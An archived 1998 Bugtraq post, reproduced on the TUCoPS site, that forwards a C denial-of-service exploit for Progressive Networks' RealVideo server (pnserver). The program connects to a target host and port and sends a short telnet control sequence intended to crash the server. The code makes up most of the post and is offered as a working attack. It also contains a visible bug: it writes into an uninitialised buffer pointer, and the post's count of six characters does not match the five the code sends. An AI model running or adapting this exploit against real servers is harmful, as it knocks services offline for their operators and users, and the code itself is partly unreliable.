Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Linux :: Apps N-Z :: realvi~1.txt

Realvideoserver DoS





Date: Thu, 15 Jan 1998 21:22:43 -0600
From: Aleph One <aleph1@DFW.DFW.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: pnserver exploit..

Courtesy of the fine folks at rootshell.

-- forward --

It seems that the pnserver bug was different than first thought.  The
telnet client sends 6 characters that crash the server when its own
maxbuffer is reached.  Here is a working exploit.

/*
 * pnserver exploit [1/15/98]
 *
 * Crash's Progressive Networks Real Video Server [ http://www.real.com/ ]
 *
 * [ http://www.rootshell.com/ ]
 *
 * Compiled under linux.
 *
 */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void main(int argc, char *argv[])
{
  struct sockaddr_in sin;
  struct hostent *hp;
  char *buffer;
  int sock;

  if (argc != 3) {
    printf("usage: %s <rvserver_host> <port>\n\nNote: Try port 7070.\n\n", argv[0]);
    exit(1);
  }
  hp = gethostbyname(argv[1]);
  if (hp==NULL) {
    printf("Unknown host: %s\n",argv[1]);
    exit(1);
  }
  bzero((char*) &sin, sizeof(sin));
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  sin.sin_family = hp->h_addrtype;
  sin.sin_port = htons(atoi(argv[2]));
  sock = socket(AF_INET, SOCK_STREAM, 0);
  connect(sock,(struct sockaddr *) &sin, sizeof(sin));
  sprintf(buffer, "%c%c%c%c%c", 255, 244, 255, 253, 6);
  write(sock, &buffer[0], strlen(buffer));
  close(sock);
}



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH